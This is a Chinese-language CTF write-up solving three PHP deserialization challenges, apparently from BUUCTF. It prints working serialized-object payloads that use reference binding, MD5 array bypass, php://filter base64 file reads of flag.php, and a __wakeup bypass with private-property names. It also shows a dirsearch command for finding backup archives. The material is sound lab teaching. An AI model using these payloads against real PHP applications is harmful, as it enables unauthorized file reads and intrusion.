目录
第一题:
1:看destruct魔术方法。
catch (Exception $e)
:如果在执行块内的代码期间抛出异常try
,则会在此处捕获该异常。但是,catch 块为空,因此如果发生异常,则不会采取任何措施。可以通过一下的方式判断哪里出现了错误。
catch (Exception $e) {
echo "Error: " . $e->getMessage(); // 输出异常信息
}
uniqid()
是PHP的一个内置函数,用于生成一个唯一的ID。默认情况下,uniqid()
返回一个基于当前时间微秒部分的唯一字符串。因此如果发生异常,则不会采取任何措施。所以correct的值来源于一个随机值,但是input的值还得等于correct的值。在写playload的时候,就得用特定的方法来使得这两个值无论什么时候都是相等的。
<?php
class BUU
{
public $correct = "";
public $input = "";
}
$a = new BUU();
$a->correct = "";
$a->input = &$a->correct;
echo serialize($a);
?>
在$a->input = &$a->correct;
这行中,&
表示引用传递。这意味着input
并且correct
实际上引用的是相同内存地址的变量。当你其中一个时候,另一个变量的值也随之改变。换句话说,$a->input
和$a->correct
将指向同一个内存位置。
指向同一个内存位置,也就是说,表示将第一个变量的引用赋值给第二个变量,而不是简简单单的赋值。
$a->correct = "";
其目的:
通过$a->correct = "";
将correct
设置为空字符串。因为input
和correct
是通过引用绑定的,所以input
也等于空字符串。此时,$a->input
和$a->correct
都是空字符串""
。是空的字符串,而不是空格这样做的目的是为了后续的操作中利用引用关系,确保correct
和input
的值始终保持一致。
上面就是触发魔术方法进行的playload
第二部分的代码
想要触发这个反序列化的这个函数,就得符合上面的条件语句。md5加密。
==是弱比较,===是强比较。强比较除了比较数据的值,还要比较数据的类型是否相同。
md5()中需要的是一个string函数,但是当你传一个array()数组时,md5不会报错,只是无法求出array的md5值,这样会导致任意两个array的md5值都会相等,弱数组绕过。MD5不会对数组进行加密。剩下的按照get和post传参就可以了。
?pleaseget=1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
第二个复现
代码是有点多的,只看与flag有关的代码。
在这里传入str参数之后,进行反序列化,反序列化的时候类被摧毁,会调用上面那个destruct这个魔术方法。这个魔术方法会执行这个process这个函数,然后就再去看这个函数。然后这个process这个函数又会去调用其他的read和write函数,再去分析这两个函数的内容。
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
在这个write函数中,出现的结果无非就是file_put_contents,把后面的内容写入到文件里面。这和要看到那个文件内容有差别。
而这个read这个函数中,file_get_contents这个内置函数,显示文件内容,这个是解题的关键。
上面也是讲到了强等于和弱等于的却别,这个下面的destruct绕过就直接按照int类型绕过就可以。上面那个是弱等于,int类型的2和字符串类型的2弱等于就可以。
我最先构造的playload是
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
但是他没有显示出结果的具体数据,就显示出一个结果来。
可能是这个文件中的代码,被当作php代码被编译器编译了,所以没有呈现出来,所以只能在原页面中去寻找。
第二中,就是在进行脚本执行的时候,把php代码进行base64编码,让其不被浏览器进行编译出来。
?str
=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
php封装协议
php://filter是一种PHP中的一种特殊的流(即PHP伪协议),允许开发者使用流过滤器来对数据进行处理。也就是说这个协议可以用来过滤一些东西,使用不同的参数可以达到不同的目的和效果:
resource=<要过滤的数据流>指定了你要筛选过滤的数据流。必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
write=<写链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选
<;两个链的筛选列表>任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。 read=convert.base64-encode,用base64编码输出。
第三个:
备份网站的好习惯,直接进行扫目录。kali
dirsearch -u "url" -x 429 //过滤掉429文件不存在
得到这个zip文件,访问这个文件并且下载这个文件。
可以看到这个index.php文件中包含了这个class.php文件,并且传入了参数进行了反序列化,@符号是为了避免出现报错。
然后看class.php文件进行正确的值的传入。
可以看到username和password都是private,在构建playload的时候,创建对象的时候,就得使用私密。password=100不要让其die了,username=admin。
再次绕过wakeup魔术方法,把类的数量加一就可以了。
private:属性被序列化的时候属性名会变成%00类名%00属性名
,长度跟随属性名长度而改变。加%00的目的就是用于替代不可见字符,也可以把这个playload进行url编码进行提交。
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
然后就在小猫界面得到了这个flag。